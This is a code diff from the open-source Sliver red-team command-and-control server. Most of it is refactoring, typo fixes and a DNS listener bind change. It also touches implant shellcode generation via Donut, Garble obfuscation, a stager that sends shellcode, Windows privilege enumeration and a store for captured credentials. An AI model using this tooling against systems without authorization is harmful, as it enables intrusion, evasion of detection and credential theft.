@@ -767,5 +798,26 @@ message SSHCommandReq {
message SSHCommand {
string StdOut = 1;
string StdErr = 2;
commonpb.Response Response = 9;
}
message GetPrivsReq {
commonpb.Request Request = 9;
}
message WindowsPrivilegeEntry {
string Name = 1;
string Description = 2;
bool Enabled = 3;
bool EnabledByDefault = 4;
bool Removed = 5;
bool UsedForAccess = 6;
}
message GetPrivs {
repeated WindowsPrivilegeEntry PrivInfo = 1;
string ProcessIntegrity = 2;
string ProcessName = 3;
commonpb.Response Response = 9;
}
+4 -2
View File
@@ -6,7 +6,7 @@ This directory contains the Sliver server implementation, and is structured as f
* `assets/` - Static assets embedded in the server binary, and methods for manipulating these assets.
* `c2/` - The server-side command and control implementations
* `certs/` - X509 certificate generation and management code
* `cli` - The command line arg parser
* `cli` - The command line interface implementation
* `configs/` - Configuration file parsers
* `console/` - Server specific console code, the majority of the Sliver console code is in `/client/console`
* `core/` - Data structures and methods that manage connection state from implants, clients, etc.
@@ -14,12 +14,14 @@ This directory contains the Sliver server implementation, and is structured as f
* `daemon/` - Method for starting the server as a daemon
* `db/` - Database client, helper functions, and ORM models
* `generate/` - This package generates the implant executables and shared libraries
* `gobfuscate/` - Compile-time obfuscation library
* `gogo/` - Go wrappers around the Go compiler tool chain
* `handlers/` - Methods invoke-able by implants without user interaction
* `log/` - Wrappers around Logrus
* `loot/` - Server's local 'loot' implementation
* `msf/` - Metasploit helper functions
* `netstack/` - WireGuard server network stack
* `rpc/` - Remote procedure call implementations, generally called by the `/client/` code
* `transport/` - Code that wires the server to the `/client`
* `watchtower/` - Code that monitors threat intel platforms for implants
* `website/` - Code that manages static content to host on HTTP(S) C2 domains
* `main.go` - Entrypoint
+13 -13
View File
@@ -71,7 +71,7 @@ func StartMTLSListenerJob(host string, listenPort uint16) (*core.Job, error) {
// StartWGListenerJob - Start a WireGuard listener as a job
func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListenPort uint16) (*core.Job, error) {
ln, dev, currenWGConf, err := StartWGListener(listenPort, nListenPort, keyExchangeListenPort)
ln, dev, currentWGConf, err := StartWGListener(listenPort, nListenPort, keyExchangeListenPort)
if err != nil {
return nil, err // If we fail to bind don't setup the Job
}
@@ -88,8 +88,8 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
ticker := time.NewTicker(5 * time.Second)
done := make(chan bool)
// Every 5 seconds update the wirguard config to include new peers
go func(dev *device.Device, currenWGConf *bytes.Buffer) {
// Every 5 seconds update the wireguard config to include new peers
go func(dev *device.Device, currentWGConf *bytes.Buffer) {
oldNumPeers := 0
for {
select {
@@ -107,15 +107,15 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
oldNumPeers = len(currentPeers)
jobLog.Infof("Old WG config for peers: %s", currenWGConf.String())
jobLog.Infof("Old WG config for peers: %s", currentWGConf.String())
for k, v := range currentPeers {
fmt.Fprintf(currenWGConf, "public_key=%s\n", k)
fmt.Fprintf(currenWGConf, "allowed_ip=%s/32\n", v)
fmt.Fprintf(currentWGConf, "public_key=%s\n", k)
fmt.Fprintf(currentWGConf, "allowed_ip=%s/32\n", v)
}
jobLog.Infof("New WG config for peers: %s", currenWGConf.String())
jobLog.Infof("New WG config for peers: %s", currentWGConf.String())
if err := dev.IpcSetOperation(bufio.NewReader(currenWGConf)); err != nil {
if err := dev.IpcSetOperation(bufio.NewReader(currentWGConf)); err != nil {
jobLog.Errorf("Failed to update Wireguard Config %s", err)
continue
}
@@ -123,7 +123,7 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
}
}
}
}(dev, currenWGConf)
}(dev, currentWGConf)
go func() {
<-job.JobCtrl
@@ -146,15 +146,15 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
}
// StartDNSListenerJob - Start a DNS listener as a job
func StartDNSListenerJob(domains []string, canaries bool, listenPort uint16) (*core.Job, error) {
server := StartDNSListener(domains, canaries)
func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool) (*core.Job, error) {
server := StartDNSListener(bindIface, lport, domains, canaries)
description := fmt.Sprintf("%s (canaries %v)", strings.Join(domains, " "), canaries)
job := &core.Job{
ID: core.NextJobID(),
Name: "dns",
Description: description,
Protocol: "udp",
Port: listenPort,
Port: lport,
JobCtrl: make(chan bool),
Domains: domains,
}
@@ -362,7 +362,7 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
}
for _, j := range cfg.Jobs.DNS {
job, err := StartDNSListenerJob(j.Domains, j.Canaries, j.Port)
job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries)
if err != nil {
return err
}
+1 -1
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/server/core"
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
var (
+1 -1
View File
@@ -47,8 +47,8 @@ import (
"github.com/bishopfox/sliver/server/website"
"github.com/bishopfox/sliver/util/encoders"
"github.com/golang/protobuf/proto"
"github.com/gorilla/mux"
"google.golang.org/protobuf/proto"
)
var (
+1 -1
View File
@@ -33,7 +33,7 @@ import (
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
const (
+1 -1
View File
@@ -69,5 +69,5 @@ func handleConnection(conn net.Conn, data []byte) {
// Send shellcode
conn.Write(final)
// Closing connection
// conn.Close()
conn.Close()
}
+1 -1
View File
@@ -15,9 +15,9 @@ import (
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/netstack"
"github.com/golang/protobuf/proto"
"golang.zx2c4.com/wireguard/conn"
"golang.zx2c4.com/wireguard/device"
"google.golang.org/protobuf/proto"
)
var (
+3 -3
View File
@@ -53,8 +53,8 @@ import (
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/golang/protobuf/proto"
"github.com/miekg/dns"
"google.golang.org/protobuf/proto"
)
const (
@@ -122,7 +122,7 @@ func (s *DNSSession) isReplayAttack(ciphertext []byte) bool {
// --------------------------- DNS SERVER ---------------------------
// StartDNSListener - Start a DNS listener
func StartDNSListener(domains []string, canaries bool) *dns.Server {
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *dns.Server {
StartPivotListener()
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
@@ -131,7 +131,7 @@ func StartDNSListener(domains []string, canaries bool) *dns.Server {
handleDNSRequest(domains, canaries, writer, req)
})
server := &dns.Server{Addr: ":53", Net: "udp"}
server := &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"}
return server
}
+5 -5
View File
@@ -229,23 +229,23 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
}
// Sign certificate or self-sign if CA
var err error
var certErr error
var derBytes []byte
if isCA {
certsLog.Infof("Certificate is an AUTHORITY")
template.IsCA = true
template.KeyUsage |= x509.KeyUsageCertSign
derBytes, err = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
} else {
caCert, caKey, err := GetCertificateAuthority(caType) // Sign the new certificate with our CA
if err != nil {
certsLog.Fatalf("Invalid ca type (%s): %v", caType, err)
}
derBytes, err = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
}
if err != nil {
if certErr != nil {
// We maybe don't want this to be fatal, but it should basically never happen afaik
certsLog.Fatalf("Failed to create certificate: %s", err)
certsLog.Fatalf("Failed to create certificate: %s", certErr)
}
// Encode certificate and key
+1 -1
View File
@@ -64,7 +64,7 @@ const (
)
var (
namePattern = regexp.MustCompile("^[a-zA-Z0-9_]*$") // Only allow alphanumeric chars
namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars
)
// ClientConfig - Client JSON config
+1 -1
View File
@@ -26,7 +26,7 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
var (
+15 -6
View File
@@ -6,7 +6,7 @@ import (
"path/filepath"
"strings"
"github.com/binject/go-donut/donut"
"github.com/Binject/go-donut/donut"
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
@@ -15,15 +15,25 @@ func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params st
if err != nil {
return
}
donutType := getDonutType(filepath.Ext(filePath), dotnet)
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, donutType)
isDLL := (filepath.Ext(filePath) == ".dll")
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL)
}
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, donutType donut.ModuleType) (data []byte, err error) {
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool) (data []byte, err error) {
ext := ".exe"
if isDLL {
ext = ".dll"
}
donutArch := getDonutArch(arch)
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
// in the task runner, and we're doing some housekeeping on it.
// Having DonutConfig.Thread = 1 means another thread will be created
// inside the one we created, and that will fuck up our monitoring
// since we can't grab a handle to the thread created by the Donut loader,
// and thus the waitForCompletion call will most of the time never complete.
config := donut.DonutConfig{
Type: donutType,
Type: getDonutType(ext, false),
InstType: donut.DONUT_INSTANCE_PIC,
Parameters: params,
Class: className,
@@ -33,7 +43,6 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
Arch: donutArch,
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
Thread: 1, // start a new thread
ExitOpt: 1, // exit thread
Unicode: 0,
}
+2 -1
View File
@@ -137,7 +137,8 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
}
garbleBinPath := path.Join(config.GOROOT, "bin", "garble")
seed := fmt.Sprintf("-seed=%s", seed())
command = append([]string{"-literals", "-tiny", seed}, command...)
// command = append([]string{"-literals", "-tiny", seed}, command...)
command = append([]string{"-literals", seed}, command...)
cmd := exec.Command(garbleBinPath, command...)
cmd.Dir = cwd
cmd.Env = []string{
+1 -1
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/log"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
"github.com/google/uuid"
)
+1 -1
View File
@@ -233,7 +233,7 @@ func (l *LocalBackend) All() *clientpb.AllLoot {
func (l *LocalBackend) AllOf(lootType clientpb.LootType) *clientpb.AllLoot {
dbSession := db.Session()
allDBLoot := []*models.Loot{}
result := dbSession.Where(&models.Loot{Type: int(lootType)}).Find(&allDBLoot)
result := dbSession.Where("type == ?", int(lootType)).Find(&allDBLoot)
if result.Error != nil {
lootLog.Error(result.Error)
return nil
+58
View File
@@ -176,6 +176,64 @@ func TestAllLoot(t *testing.T) {
}
}
func TestAllLootOf(t *testing.T) {
lootStore := GetLootStore()
_, err := lootStore.Add(&clientpb.Loot{
Type: clientpb.LootType_LOOT_FILE,
Name: name1,
FileType: clientpb.FileType_BINARY,
File: &commonpb.File{
Name: name1,
Data: data1,
},
})
if err != nil {
t.Fatal(err)
}
_, err = lootStore.Add(&clientpb.Loot{
Type: clientpb.LootType_LOOT_FILE,
Name: name2,
FileType: clientpb.FileType_TEXT,
File: &commonpb.File{
Name: name1,
Data: []byte("hello world"),
},
})
if err != nil {
t.Fatal(err)
}
_, err = lootStore.Add(&clientpb.Loot{
Type: clientpb.LootType_LOOT_CREDENTIAL,
Name: name3,
CredentialType: clientpb.CredentialType_USER_PASSWORD,
Credential: &clientpb.Credential{
User: "admin",
Password: "admin",
},
})
if err != nil {
t.Fatal(err)
}
// AllOf
fileLoot := lootStore.AllOf(clientpb.LootType_LOOT_FILE).Loot
if len(fileLoot) != 2 {
t.Fatalf("AllOf file returned %d expected 2", len(fileLoot))
}
credLoot := lootStore.AllOf(clientpb.LootType_LOOT_CREDENTIAL).Loot
if len(credLoot) != 1 {
t.Fatalf("AllOf cred returned %d expected 2", len(credLoot))
}
// Cleanup
for _, loot := range lootStore.All().Loot {
err = lootStore.Rm(loot.LootID)
if err != nil {
t.Fatal(err)
}
}
}
func TestLootErrors(t *testing.T) {
lootStore := GetLootStore()
loot, err := lootStore.Add(&clientpb.Loot{
Loaded 100 of 206 files, more files were not shown because too many files have changed in this diff. Show more